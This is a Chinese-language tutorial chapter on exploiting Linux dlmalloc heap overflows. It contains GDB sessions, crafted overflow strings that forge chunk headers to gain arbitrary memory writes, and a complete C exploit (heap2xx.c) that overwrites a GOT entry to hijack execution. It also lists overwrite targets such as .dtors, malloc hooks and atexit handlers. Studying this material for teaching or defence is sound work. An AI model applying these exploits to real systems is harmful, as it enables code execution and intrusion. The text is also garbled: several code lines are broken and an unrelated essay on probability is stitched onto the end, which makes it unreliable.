5.堆溢出

5.堆溢出
5.堆溢出

5

堆溢出

本章主要介绍Linux上的堆溢出,使用的堆实现源自Doug Lee最初的malloc实现,因此也把它称为dlmolloc。虽然这里介绍的只是Linux上的dlmolloc,但深入理解这些内容,将使你在面对其它malloc()实现的时候有所帮助。实际上,写堆溢出攻击代码对我们来说是个转折点,它使我们不再局限于从栈上保存的指针来争夺EIP。许多函数库存储重要的元数据时,其中夹杂着用户的数据,Dlmalloc只是这些函数库中的一个。理解怎样利用malloc 错误是一把发现革新方法的钥匙,可以用于利用那些不属于任何已有分类的错误。

Doug Lee对dlmalloc做过很好的总结,你可以阅读https://www.360docs.net/doc/5c4886681.html,/dl/html/malloc.html来了解相关内容。如果你还不熟悉Doug Lee的malloc实现,建议你在继续学习前先读一下这篇文章。虽然文章中的某些内容可能超出你需要掌握的范围,但dlmalloc包括的多线程和优化等技术已经融合到最新的glibc中了,因此具有一定的参考意义。

5.1 堆是什么?

程序在运行时,每个线程都会有一个栈,用来保存局部变量。但对全局变量或太大的变量来说,栈就不太适合了,这个时候就需要使用另外的内存区域来保存它们。事实上,有些程序在编译时并不能确定它将要使用多大的内存,而一般是在运行时,通过特殊的系统调用来动态的分配。一个典型的Linux程序通常包括.bss段(未初始化的全局变量),用brk()或mmap()分配的、由malloc()使用的.data段(已初始化的全局变量)。你可以用GDB的maintenance info sections命令查看这些段信息。尽管在一般情况下,许多人认为由malloc()分配的段才是真正的堆,但在我们看来,任何可写的段都可以当作堆。作为一名黑客,不应该纠缠于细枝末节,而是把精力放在那些可提供获取控制机会的、任何可写的内存页上。

当我们把basicheep装入GDB,执行maintenance info sections:

(gdb) maintenance info sections

Exec file:

`/home/dave/BOOK/basicheap', file type elf32-i386.

0x08049434->0x08049440 at 0x00000434: .data ALLOC LOAD DATA HAS_CONTENTS 0x08049440->0x08049444 at 0x00000440: .eh_frame ALLOC LOAD DATA HAS_CONTENTS 0x08049444->0x0804950c at 0x00000444: .dynamic ALLOC LOAD DATA HAS_CONTENTS 0x0804950c->0x08049514 at 0x0000050c: .ctors ALLOC LOAD DATA HAS_CONTENTS 0x08049514->0x0804951c at 0x00000514: .dtors ALLOC LOAD DATA HAS_CONTENTS 0x0804951c->0x08049520 at 0x0000051c: .jcr ALLOC LOAD DATA HAS_CONTENTS 0x08049520->0x08049540 at 0x00000520: .got ALLOC LOAD DATA HAS_CONTENTS 0x08049540->0x08049544 at 0x00000540: .bss ALLOC

下面显示的内容是执行run后的输出:

brk(0) = 0x80495a4

brk(0x804a5a4) = 0x804a5a4

brk(0x804b000) = 0x804b000

下面是这个程序的输出,显示出程序分配的两个空间的地址:

buf = 0x80495b0 buf2 = 0x80499b8

下面是再次运行maintenance info sections后的输出,显示了在这个程序运行时使用的段。注意观察栈段(最后一个)和包括它们自己指针的段(load2)。

0x08048000->0x08048000 at 0x00001000: load1 ALLOC LOAD READONLY CODE HAS_CONTENTS

0x08049000->0x0804a000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS

...

0xbfffe000->0xc0000000 at 0x0000f000: load11 ALLOC LOAD CODE HAS_CONTENTS

(gdb) print/x $esp

$1 = 0xbffff190

5.1.1堆怎样工作

程序在运行过程中,需要更多的内存时,如果用brk()或mmap()进行处理的话,效率不高而且比较复杂。因此,作为它的替代品,当程序需要分配或释放内存时,libc为程序员提供malloc()、realloc()、和free()。

在接到请求时(例如,如果用户请求1000字节),Malloc()把brk()分配的大内存块分成小块,并将合适的块分给用户,也可能会把一大块分成两小块来满足用户的需求。同样,当调用free()时,它会判断新释放的块是否可以与其它块合并,这个处理过程会减小碎片(许多正在使用的块散布在空闲的小块中),从而从根本上防止程序频繁使用brk()。

为使运行更有效率,几乎所有的malloc()实现都会用元数据保存块的位置、大小、或与小块有关的特殊数据。dlmalloc用存储桶保存这些元数据,其它的一些malloc实现用平衡树结构保存它们。(如果你不知道平衡树结构怎样工作,不要担心,因为如果你确实需要了解它,肯定会花些时间来查阅相关资料,但也许你根本就不需要它。)

这些元数据一般保存在两个地方:malloc()实现自己使用的全局变量;分配给用户的内存块的前/后,仔细想想这是否有点像栈溢出里,帧指针和指令指针保存在你能溢出的缓冲区后面的情形,堆把重要数据(包括内存状态)直接保存在分配给用户的缓冲区之后。

5.2 发现堆溢出

术语“堆溢出”可用于多种漏洞原语。在寻找漏洞的过程中,把脚放进程序员的鞋子里总会有所收获,因为通过亲自尝试,我们可能会在没有源码的情况下发现她/他所犯的错误。下面列的是一些常见的错误,尽管不是很详细,但都是一些真实的例子:

n samba(程序员允许我们复制大内存块到想要的地方):

memcpy( array [user_supplied_int], user_supplied_buffer, user_supplied_int2 );

n Microsoft IIS:

buf = malloc ( user_supplied_int + 1 );

memcpy (buf, user_buf, user_supplied_int );

n IIS off by a few:

buf = malloc ( strlen ( user_buf + 5 ) );

strcpy ( buf, user_buf );

n Solaris Login:

buf = ( char ** ) malloc ( BUF_SIZE );

while ( user_buf [i] != 0 ) {

buf [i] = malloc ( strlen (user_buf[i] ) + 1 );

i++;

}

n Solaris Xsun:

buf = malloc (1024 );

strcpy (buf, user_supplied );

这是整数溢出与堆溢出最常见的结合形式—分配0字节的缓冲区并把很大的数复制到它里面(思考一下xdr_array)。

buf = malloc (sizeof (something ) * user_controlled_int );

for ( i=0; i

if ( user_buf[i] == 0 )

break;

copyinto ( buf, user_buf );

}

从这个意义上说,你能破坏的内存区域(不在栈上)里随时都可能发生堆溢出。因为破坏因素实在太多了,想通过查找(grep)或编译器的纠错能力来纠正它们,几乎是不可能的。Double free()错误也是堆溢出的一种,但我们不准备在这章仔细讨论它,更多内容请参阅第16章。

5.2.1基本堆溢出

绝大多数堆溢出的基本原理如下:堆和栈很相似,既包含了数据信息也包含了用来控制程序理解这些数据的维护信息。我们所要掌握的技巧,就是通过malloc()或free()来达到我们的目的—把一或二个word写入我们能控制的内存地址。

先从攻击者的角度分析下面的程序。

/*notvuln.c*/

int

main(int argc, char** argv) {

char *buf;

buf=(char*)malloc(1024);

printf("buf=%p",buf);

strcpy(buf,argv[1]);

free(buf);

}

下面是ltrace的输出:

[dave@localhost BOOK]$ ltrace ./notvuln `perl -e 'print "A" x 5000'`

__libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x08048444

...>

malloc(1024) = 0x08049590

printf("buf=%p") = 13

strcpy(0x08049590, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x08049590 free(0x08049590) =

buf=0x8049590+++ exited (status 0) +++

像你看到的那样,程序没有崩溃。这主要是因为,虽然输入的字符串改写了很多数据,但是并没有改写free()调用所需要的结构。

现在让我们看一个有问题的程序。

/*basicheap.c*/

int main(int argc, char** argv) {

char *buf;

char *buf2;

buf=(char*)malloc(1024);

buf2=(char*)malloc(1024);

printf("buf=%p buf2=%p\n",buf,buf2);

strcpy(buf,argv[1]);

free(buf2);

}

这个程序与上个程序的不同之处在于,被分配的缓冲区位于受溢出影响的缓冲区之后。注意,这里有两个缓冲区,它们在内存里相邻而居,当第一个缓冲区发生溢出时将会改写第二个缓冲区里的数据。乍一听有点糊弄人,但仔细想想的确是这么回事。当溢出发生时将会破坏第二个缓冲区里的元数据,因此当它被释放时,malloc的收集函数可能会访问无效的内存。

[dave@localhost BOOK]$ ltrace ./basicheap `perl -e 'print "A" x 5000'` __libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x0804845c

...>

malloc(1024) = 0x080495b0

malloc(1024) = 0x080499b8

printf("buf=%p buf2=%p\n", 134518192buf=0x80495b0 buf2=0x80499b8

) = 29

strcpy(0x080495b0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x080495b0 free(0x080499b8) =

--- SIGSEGV (Segmentation fault) ---

+++ killed by SIGSEGV +++

注解:如果你没有得到core 文件,可能是忘了执行ulimit –c。

注解:一旦你有办法触发堆溢出,那你应该把问题程序视为调用malloc(),free()和realloc()的特殊API。为了写一个成功的攻击程序,你应该操纵写入缓冲区的分配调用的顺序、大小和数据内容。

在这个例子里,我们已经事先知道了要溢出的缓冲区的长度以及程序的内存布局,但在许多情况下,很难获取这些信息。如果缺少源码的程序有堆溢出问题,或者开源的程序有非常复杂的内存布局,那么探测堆溢出最容易的方法,就是察看程序受到不同长度攻击之后的反应,而不是在程序调用free()或malloc()时,发生崩溃后,对整个程序进行逆向分析,试着找出缓冲区中发生溢出的地方。然而,在许多情况下,如果我们想编写可靠的攻击程序,确实需要逆向工程的支持。在这个例子之后,我们将学习在更加复杂的情况下尝试破解。

我们怎样欺骗malloc(),使它处理改写后的内存是整个问题的关键。首先,我们将清除被改写块头部的previous-in-use位,然后把“previous-in-use”的长度设为负数,经过这样的处理之后,将允许我们在缓冲区内定义我们自己的块。

malloc 实现,包括Linux的dlmolloc,都把额外信息保存在空闲块里,因为空闲块里没有用户数据,因此也常在这里保存一些关于其它块的信息。空闲块的前4字节是一个前向指针,接下来的4字节是一个后向指针,这两个指针将空闲块挂在双向链表上。在对双向链表的结点插入、删除过程中,我们有机会改写任意地址的数据。

这条命令运行后,堆缓冲区buf发生溢出,并把buf2块头部的0xfffffff0改为0xffffffff。

注解:在这里,不要忘了IA32的little-endian属性。

在某些版本的RedHat Linux里,Perl有时把字符转换成等价的Unicode形式后再输出,因此,碰到这种情况时,我们可以用Python代替Perl。例如,你也可以在GDB里用如下方式输出字符。

(gdb) run `python –c ‘print “A” * 1024 + “\xff\xff\xff\xff” + “\xf0\xff\xff\xff”’`

找出缓冲区的长度

(gdb) x/xw buf-4将显示buf的长度。即使在编译时没有保留符号,我们通常也可以在内存里看到缓冲区(以A开始的)的起始位置,这个word之前的数据就是缓冲区的真实长度。

(gdb) x/xw buf-4

0x80495ac: 0x00000409

(gdb) printf “%d\n”, 0x409

1033

真正的长度应该是1032,它等于缓冲区的长度1024字节加上存贮块信息头的8字节。最后一位用来指示这个块之前是否还有其它块,如果它被置位(象这个例子一样),那么块头部就没有保存前一个块的大小。如果它被清空(设为0),表示这个块之前还有一个块,而且buf-8就是前一个块的大小。倒数第二位是一个标记,表示这个块是否是由nmap()分配的。

在计算下一个块的_int_free()上设置断点,你可以跟踪free()的行为。(为了找到这个指令,你可以先把块的大小设为0x01020304,在发生崩溃的地方应该可以找到_int_free()。)我们可以看到,通过断点定位的指令如下:

0x42073fdd <_int_free + 109 >: lea ( %edi, %esi, 1 ), %ecx

当断点被触发时,程序输出buf = 0x80495b0 buf2 = 0x80499b8,然后中断。

(gdb) print/x $edi

$10 = 0xfffffff0

(gdb) print/x $esi

$11 = 0x80499b0

从上面的内容我们可以看到,当前块的地址(buf)保存在ESI,块的大小保存在EDI。注意,这里分析的glibc free() 源自最初的dlmalloc(),如果你分析的是其它的malloc()实现,那你应该注意,在大多数情况下,free()是infree的封装;intfree将接受一个“活动场所”和我们要释放的内存地址。

我们先来看两条指令,free()例程通过它们寻找前面的块。

0x42073ff8 <_int_free+136 >: mov 0xfffffff8(%edx), %eax

0x42073ffb <_int_free+139>: sub %eax, %esi

在第一条指令(mov 0x8(%esi), %edx)里,%edx是我们正准备释放的buf2的地址0x80499b8,在它之前的8个字节保存的是前一个块缓冲区的大小,现在保存在%eax里。当然,我们已经改写了这个值;在一般情况下,这个值是0,现在被我们改成了0xffffffff(-1)。

在第二条指令(add %eax, %edi)里,%esi保存的是当前块的头部地址。我们从当前块的地址减去第一个缓冲区的大小,就可以得到前一个块的头部的地址。当然,在我们用-1改写了前一个缓冲区的大小后,系统不可能像原来那样正常工作。下面的指令(unlink()宏)把控制权交给我们:

0x42073ffd <_int_free+141>: mov 0x8(%esi),%edx

0x42074000 <_int_free+144>: add %eax,%edi

0x42074002 <_int_free+146>: mov 0xc(%esi),%eax; UNLINK

0x42074005 <_int_free+149>: mov %eax,0xc(%edx); UNLINK

0x42074008 <_int_free+152>: mov %edx,0x8(%eax); UNLINK

%esi被修改,用来指向用户缓冲区里的一个已知位置。在接下来的执行过程中,当以%edx、%eax为参数,把数据写入内存时,我们可以控制%edx和%eax。出现这个问题的症结在于free()调用,因为我们操作的buf2的块头部(想想buf2的内部区域,我们已经可以控制它们了。)是内存中未被使用的一个块的块头部。

历经千辛万苦,我们终于找到了通向自由王国的钥匙。

下面的run命令(用Python设置第一个参数)首先填充buf,接着用前一个块的大小减去4改写buf2的块头部;然后插入4字节的填充物,就可以把%edx设为ABCD,把%eax 设为EFGH了。

(gdb) r `python -c 'print

"A"*(1024)+"\xfc\xff\xff\xff"+"\xf0\xff\xff\xff"+"AAAAABCDEFGH" '`

Program received signal SIGSEGV, Segmentation fault.

0x42074005 in _int_free () from /lib/i686/libc.so.6

7: /x $edx = 0x44434241

6: /x $ecx = 0x80499a0

5: /x $ebx = 0x4212a2d0

4: /x $eax = 0x48474645

3: /x $esi = 0x80499b4

2: /x $edi = 0xffffffec

(gdb) x/4i $pc

0x42074005 <_int_free+149>: mov %eax,0xc(%edx)

0x42074008 <_int_free+152>: mov %edx,0x8(%eax)

现在,%eax将被写入%edx+12,%edx将被写入%eax+8。如果这个程序没有SIGSEGV 处理程序,你应该确认%eax和%edx是否都是可写的有效地址。

(gdb) print “%8x”, &__exit_funcs-12

$40 = ( * ) 0x421264fc

当然了,因为我们定义了一个伪造的块,所以我们也需要为“前一个块”定义伪造的块头部,不然的话,intfree可能会崩溃。我们通过把buf2的大小设为0xfffffff0(-16),就可以把伪造的块纳入我们控制的buf范围之内(看图5.1.)。

我们把前几段的内容综合一下,得到:

"A"*(1012)+"\xff"*4+"A"*8+"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"+"\xff\xff

\xff\xff"*2+intel_order(word1)+intel_order(word2)

图5.1. 破解堆

word1+12将被word2改写,word2+8将被word1改写。(为了在溢出里使用,intel_order() 将把数据转换为little-endian字符串,就像这个例子里的一样。)

最后我们所要做的,就是选择我们想改写的word,以及用什么改写它。在这个例子里,basicheap释放buf2之后将直接调用exit()。这个exit函数是析构函数,因此我们可以把它当作函数指针来使用。

(gdb) print/x __exit_funcs

$43 = 0x4212aa40

我们正好可以把word1和栈上的地址作为word2。把这些作为参数重新运行溢出,导致:

Program received signal SIGSEGV, Segmentation fault.

0xbfffff0f in ?? ()

像你看到的,我们可以把执行重定向到栈。如果这是一个本地堆溢出,并且栈可执行的话,那么游戏就到此为止了。

5.2.2中级堆溢出

在这一部分,我们将探究前面详细介绍过的、表面上看起来很简单的堆溢出变种。目标程序将调用malloc(),而不是前面介绍的free(),这将使代码以完全不同的路径执行,并以一种更为复杂的方式对溢出做出反应。我们将在下面介绍怎样利用这个漏洞,希望这个例子对你有所启发,也希望你能通过这个例子学会换位思考。有些人只能控制非常少的东西,但他们通过仔细检查内存发生恶化的过程,从而找到潜在的代码执行路径。

尽管现在目标程序调用的是malloc()而不是free(),但是你会发现,下面所述的可破解的堆结构代码和前面描述的类似,只是溢出后的处理过程变得更复杂了。相比free() unlink()错误来说,如果你不想碰到太多的挫折,那么有必要在GDB上为这个堆溢出变种花费更多的时间。

/*heap2.c - a vulnerable program that calls malloc() */

int main(int argc, char **argv)

{

char * buf,*buf2,*buf3;

buf=(char*)malloc(1024);

buf2=(char*)malloc(1024);

buf3=(char*)malloc(1024);

free(buf2);

strcpy(buf,argv[1]);

buf2=(char*)malloc(1024); //this was a free() in the previous example printf(“Done.”); //we will use this to take control in our exploit

}

注解:当我们fuzzing程序的时候,同时使用0x41和0x50是十分重要的,因为在某些情况下0x41不会触发堆溢出(把块头部的previous-flag或mmap-flag设为1不太好,因为这将防止程序崩溃,从而使fuzzing失去意义)。更多有关fuzzing的信息请参考第15章。

要想使这个程序崩溃,只需把heap2加载到GDB里,并执行下列命令:

(gdb) r `python –c ‘print “\x50”*1028+”\xff”*4+”\xa0\xff\xff\xbf\xa0\xff\xff\xbf”’`

注解:在Mandrake 和其它某些系统上,找出__exit_funcs有一定的困难。你可以在<__cxa_atexit+45>: mov %eax,0x4(%edx)上设置断点,当触发断点时,%edx里的内容应该就是你所需要的。

想滥用malloc是相当困难的—最后你将会进入一个和下面类似的__int_malloc()循环。当然,你的malloc()实现可能像glibc版本那样有稍许的改变。在下面的代码里,bin是你要改写的块的地址。

bin = bin_at(av, idx);

for (victim = last(bin); victim != bin; victim = victim->bk) {

size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb)) {

remainder_size = size - nb;

unlink(victim, bck, fwd);

/* Exhaust */

if (remainder_size < MINSIZE) {

set_inuse_bit_at_offset(victim, size);

if (av != &main_arena)

victim->size |= NON_MAIN_ARENA;

check_malloced_chunk(av, victim, nb);

return chunk2mem(victim);

}

/* Split */

else {

remainder = chunk_at_offset(victim, nb);

unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;

remainder->bk = remainder->fd = unsorted_chunks(av);

set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA :

0));

set_head(remainder, remainder_size | PREV_INUSE);

set_foot(remainder, remainder_size);

check_malloced_chunk(av, victim, nb);

return chunk2mem(victim);

}

}

}

这个循环可以写入各种内存;然而,如果只能写入non-zero字符,你将发现很难退出循环。为什么会这样呢?主要是因为退出循环需要具备两个条件,其一是无论在什么情况下都要求fakechunk->size minus size小于16字节,其二是伪造块的next pointer应该和被请求块的next pointer是一样的。如果目标系统没有信息泄露错误,要想猜出被请求块的地址几乎是不可能的,即使有可能,也会非常困难(需要很长时间的暴力猜测)。Halvar Flake曾说“优秀的黑客寻找信息泄露错误,因为它们使攻击更可靠、更容易。”

这段代码看起来有点乱,但是通过把伪造块设置为相同的长度,或者把伪造块的后向指针设为最初的bin,就能比较简单的利用它们。你可以从我们溢出的后向指针得到最初的bin (heap2.c很好地显示了它们),但在远程攻击过程中,很难得到它们。因此,这个方法在本地攻击时很稳定,但却不是攻击这类漏洞的最好方法。

下面的攻击包含了本地攻击具有的两个特征:

n用极微小的精确度改写free()’d块的指针,使指针指向环境变量里指定的、位于栈上的伪造块,而且用户可以控制并精确定位这个块。

n用户的环境变量里可以包含0,这对我们来说是很重要的,因为破解使用的长度等于被请求的长度,在这里是1024个字节(因为还有一个块头部,所以还要加上8

个字节)。这需要把NULL字节插入头部。

接下来,破解是这样做的。它在malloc()调用完成前,先改写保存在块头部里的指针,然后欺骗malloc(),使其重定向到被改写的函数指针(对于printf()来说,是Global Offset Table 的条目),最后由printf()把执行重定向到我们的shellcode,在这个例子里是0xcc,也就是调试中断int3。对齐对我们的缓冲区很重要,它们将因此而不会有较低位置的地址(例如,我们不想让malloc()认为我们的缓冲区是由mmapped()分配的或“前一个块”的指示位被置位)。

heap2xx.c – exploit for heap2.c

对这个攻击来说,有两种可能:

1.glibc

2.2.5,允许把一个word写入任何一个word。

2.glibc 2.

3.2,允许把当前块头部的地址写入指定的内存地址。这样以来使破解更加

困难,但仍有可能。

注意,在任何条件下,这个攻击代码都不会产生shell。它在破解成功时,通常会因为执行无效的指令而导致seg-fault;当然,为了得到可用的shell,只需把shellcode复制到适当的位置。

我们针对glibc 2.3.2 列出了以下清单,并增加了一些内容,用来帮助大家了解glibc 2.2.5 和glibc 2.3.2 之间的不同,也希望你意识到,在碰类似问题时,列出清单并做详细的注解会使你受益良多。

n覆盖空闲的buf2的malloc块标记后,我们就使fd(前向指针)和bk(后向指针)字段(以eax为界)指向了一个我们可以完全控制的空闲块。注意,要确保这个可

控区域的长度至少应该> 1032 + 4,以满足orl $0x1, 0x4(%eax,%esi,1) 的检查(因

为0x4(%eax,%esi,1)的寻址为:%eax + %esi * 1 + 0x4 (>= %eax + 0x4 = 1032 + 4))。

当下一次malloc请求1024字节的块时,它(堆分配代码)将落入我们伪造的bin

区域(译注:bin是堆算法中的一个术语,一般用于存放特定大小的空闲堆块),并

处理这个已被我们完全控制的双向链表的空闲块,tagz0r。

n我们使bk、fd ptr和伪造的env块的prev_size(0xfffffffc)字段对齐。通过这确保不论使用什么指针宏,程序都可以继续运行。

n我们通过使S < chunksize(FD)的检查失败来退出循环,我们可以在env块里把大小字段设为1032来达到目的。

n在这个循环里,%ecx象这样写入内存:mov %ecx, 0x8(%eax)。

我们可以在以printf的Global Offset Table(GOT)条目(在这个例子里是0x080496d4)为例的测试里确认这些行为。在运行过程中,我们可以把伪造块的bk字段设置为0x080496d4 – 8,我们看下面的结果:

(gdb) x/x 0x080496d4

0x080496d4 <_GLOBAL_OFFSET_TABLE_+20>: 0x4015567c

如果在eax无效时,我们查看ecx的数据,会看到:

(gdb) i r eax ecx

eax 0x41424344 1094861636

ecx 0x4015567c 1075140220

(gdb)

我们改变了程序的执行流程,使heap2.c在执行时,一碰到printf就跳到main_arena(由ecx指向的地址)。

在处理我们的块时,程序崩溃了。

(gdb) x/i$pc

0x40155684 : cmp %bl,0x96cc0804(%ebx)

(gdb) disas $ecx

Dump of assembler code for function main_arena:

0x40155620 : add %al,(%eax)

... *snip* ...

0x40155684 : cmp %bl,0x96cc0804(%ebx)

*/

#include

#include

#include

#include

#define VULN "./heap2"

#define XLEN 1040 /* 1024 + 16 */

#define ENVPTRZ 512 /* enough to hold our big layout */

/* mov %ecx,0x8(PRINTF_GOT) */

#define PRINTF_GOT 0x08049648 - 8

/* 13 and 21 work for Mandrake 9, glibc 2.2.5 - you may want to modify these until you point directly at 0x408 (or 0xfffffffc, for certain glibc's). Also, your address must be "clean" meaning not have lower bits set. 0xf0 is clean, 0xf1 is not. */

#define CHUNK_ENV_ALLIGN 17

#define CHUNK_ENV_OFFSET 1056-1024

/* Handy environment loader */

unsigned int

ptoa(char **envp, char *string, unsigned int total_size)

{

char *p;

unsigned int cnt;

unsigned int size;

unsigned int i;

p = string;

cnt = size = i = 0;

for (cnt = 0; size < total_size; cnt ++)

{

envp[cnt] = (char *) malloc(strlen(p) + 1);

envp[cnt] = strdup(p);

#ifdef DEBUG

fprintf(stderr, "[*] strlen: %d\n", strlen(p) + 1);

for (i = 0; i < strlen(p) + 1; i ++) fprintf(stderr, "[*] %d: 0x%.02x\n", i, p[i]);

#endif

size += strlen(p) + 1;

p += strlen(p) + 1;

}

return cnt;

}

int main(int argc, char **argv)

{

unsigned char *x;

char *ownenv[ENVPTRZ];

unsigned int xlen;

unsigned int i;

unsigned char chunk[2048 + 1];

/* 2 times 1024 to have enough controlled mem to survive the orl */

unsigned char *exe[3];

unsigned int env_size;

unsigned long retloc;

unsigned long retval;

unsigned int chunk_env_offset;

unsigned int chunk_env_align;

xlen = XLEN + (1024 - (XLEN - 1024));

chunk_env_offset = CHUNK_ENV_OFFSET;

chunk_env_align = CHUNK_ENV_ALLIGN;

exe[0] = VULN;

exe[1] = x = malloc(xlen + 1);

exe[2] = NULL;

if (!x) exit(-1);

fprintf(stderr, "\n[*] Options: [ ] [ ]\n\n");

if (argv[1] && (argc == 2 || argc == 3)) chunk_env_align = atoi(argv[1]); if (argv[2] && argc == 3) chunk_env_offset = atoi(argv[2]);

fprintf(stderr, "[*] using align %d and offset %d\n", chunk_env_align, chunk_env_offset);

retloc = PRINTF_GOT;

/* printf GOT - 0x8 ... this is where ecx gets written to, ecx is a chunk ptr */

/*where we want to jump do, if glibc 2.2 ?just anywhere on the stack is good for a demonstration */

retval=0xbffffd40;

fprintf(stderr, "[*] Using retloc: %p\n", retloc);

memset(chunk, 0x00, sizeof(chunk));

for (i = 0; i < chunk_env_align; i ++) chunk[i] = 'X';

for (i = chunk_env_align; i <= sizeof(chunk) - (16 + 1); i += (16))

{

*(long *)&chunk[i] = 0xfffffffc;

*(long *)&chunk[i + 4] = (unsigned long)1032; /* S == chunksize(FD) ... breaking loop (size == 1024 + 8) */

/*retval is not used for 2.3 exploitation...*/

*(long *)&chunk[i + 8] = retval;

*(long *)&chunk[i + 12] = retloc; /* printf GOT - 8..mov %ecx,0x8(%eax) */

}

#ifdef DEBUG

for (i = 0; i < sizeof(chunk); i++) fprintf (stderr, "[*] %d: 0x%.02x\n", i, chunk[i]);

#endif

memset(x, 0xcc, xlen);

*(long *)&x[XLEN - 16] = 0xfffffffc;

*(long *)&x[XLEN - 12] = 0xfffffff0;

/* we point both fd and bk to our fake chunk tag ... so whichever gets used is ok with us */

/*we subtract 1024 since our buffer is 1024 long and we need to have space for writes after it...

* you'll see when you trace through this. */

*(long *)&x[XLEN - 8] = ((0xc0000000 - 4) - strlen(exe[0]) - chunk_env_offset-1024);

*(long *)&x[XLEN - 4] = ((0xc0000000 - 4) - strlen(exe[0]) - chunk_env_offset-1024);

printf("Our fake chunk (0xfffffffc) needs to be at %p\n",((0xc0000000 - 4) - strlen(exe[0]) - chunk_env_offset)-1024);

/*you could memcpy shellcode into x somewhere, and you would be able to jmp directly into it ?otherwise it will just execute whatever is on the stack ?most likely nothing good. (for glibc 2.2) */

/* clear our enviroment array */

for (i = 0; i < ENVPTRZ; i++) ownenv[i] = NULL;

i = ptoa(ownenv, chunk, sizeof(chunk));

fprintf(stderr, "[*] Size of enviroment array: %d\n", i);

fprintf(stderr, "[*] Calling: %s\n\n", exe[0]);

if (execve(exe[0], (char **)exe, (char **)ownenv))

{

fprintf(stderr, "Error executing %s\n", exe[0]);

free(x);

exit(-1);

}

}

5.2.3高级堆溢出

在利用复杂的堆溢出时,ltrace是上天赐予我们最好的礼物之一。碰到比较复杂的堆溢出时,必须经历几个non-trivial步骤:

1.使堆标准化。这是指如果进程forks并调用execve,那么就简单的连接到这个进程;

或者如果是本地攻击,将用execve()启动这个进程。重要的是要了解堆是怎样被初

始化的。

2.为你的攻击设置堆。这是指我们用正确的大小和顺序,通过许多无意义的连接调用

malloc函数,从而为顺利攻击设置相应的堆。

3.溢出一个或多个块。使程序通过调用一个malloc函数(或一些malloc函数)改写

一个或多个word。接着使这个程序执行你改写的某个函数指针。

认识到不同的堆溢出有不同的利用方法比较重要,因为每个攻击都有唯一对应的环境,包括程序的运行状态,你和目标程序之间相关联的行为,以及你利用的具体错误。在你开始攻击之前,不要只考虑目标程序,在触发错误前你的所作所为,对是否可以成功的攻击目标程序,以及攻击代码的稳定性都有直接的影响。

改写什么

通常应遵循三个原则:

1.改写函数指针。

2.改写可写段里的一段代码。

3.如果可以写两个word,那么可以先写一点代码,然后改写一个函数指针使它指向

这个代码。另外,你可以用改写逻辑变量(如is_logged_in)的方法来改变程序的

执行流程。

GOT 条目

用objdump –R 读heap2的GOT函数指针:

[dave@www FORFUN]$ objdump -R ./heap2

./heap2: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049654 R_386_GLOB_DAT __gmon_start__

08049640 R_386_JUMP_SLOT malloc

08049644 R_386_JUMP_SLOT __libc_start_main

08049648 R_386_JUMP_SLOT printf

0804964c R_386_JUMP_SLOT free

08049650 R_386_JUMP_SLOT strcpy

全局函数指针

许多库函数如malloc.c,依赖全局函数指针来维护它们的调试信息,或记录信息,或一些其它频繁使用的功能。在你改写数据后,如果程序调用__free_hook,__malloc_hook,和__realloc_hook中的任何一个,都会对你有所帮助。

.DTORS

.DTORS是GCC在函数退出时使用的析构函数。在下面例子里,当程序通过调用exit 获取控制时,我们可以把8049632c作为函数指针。

[log@0day root]# objdump –j .dtors –s heap2

heap2: file format elf32-i386

.dtors节的内容:

8049628 ffffffff 00000000 ……..

atexit 处理程序

在没有exit_funcs的系统上查找atexit处理程序,需要查阅前面的注解。这也将导致程序退出。

栈值

对于本地可执行文件来说,栈上保存的返回地址通常可以预测;然而,在远程攻击时,你不能预测或控制远程机器上的环境变量,因此,这并不是一个好的选择。

5.3 结论

因为大部分堆溢出都是通过破坏malloc()的管理结构来获取控制的,因此有人针对各种

malloc()实现,在保护性标志的领域里做了一些工作,在理论上,这些工作和栈保护性标志十分类似,但令人遗憾的是,绝大多数的malloc()实现还没有采用这些保护措施(例如,在我们写这本书的时候只有FreeBSD对堆操作进行简单的安全性检查)。即使堆保护性标志普及了,操纵malloc()实现再也不会导致堆溢出,但是程序仍会受到其它类型堆溢出的攻击。

概率世界

概率世界 事物是所有存在中我们能够测量或感知的表现出来的特性,还有些存在的未知部分是我们至今未知的。 事物的本质是概率,世界的一切是随机概率构成的复杂体。所有事物的存在,发展,都是由小概率构成的,并由这些数量巨大的小概率构成一个运动方向或发展趋势,达到一定的复杂程度后,事物便有了一定的相对稳定的特性和状态,在一定时空状态下,表现出一定的存在方式。其实,这个空间状态也是由各个事物共同构成的,所有的事物对于我们研究的某个特定事物来说就是所研究特定事物的存在环境和外在条件。而概率形成的一个方向则表现为某种方向和方式的能量。事物运动状态的变化总是伴随着能量的变化,其原因是概率束的方向或概率子能量发生了变化。各概率子之间并没有必然联系,概率束的形成都是随机发生的,是微小概率的一个结果,如果可以从新演绎这个过程,在外部一切条件不存在的条件下,每次概率演变的结果几乎都不一样,然而我们现实生活中经常出现周期重复性事件的发生,这是由于外在条件的结果,各事物之间互为条件或环境。在一个事物状态形成之前,由于随机概率性,并不能超前确定会形成怎样一种结果或状态,虽然这个结果状态在产生之前确定,但在事物总会达到某一状态,然后再在此状态基础上,在内部微小概率子的作用下向前演变发展,当然,这个状态只是相对稳定而绝对不稳定的,在演变过程中也可能返回过去发生过的某一状态(好像回到了过去),这样事件的发生便有了重复的可能。从某种意义上说,已经发生、存在了的就是相对确定的,概率为1,没有发生会准备发生的则是不确定的。一切事物在绝对意义上都是不稳定的,都在不确定概率下向前演变。 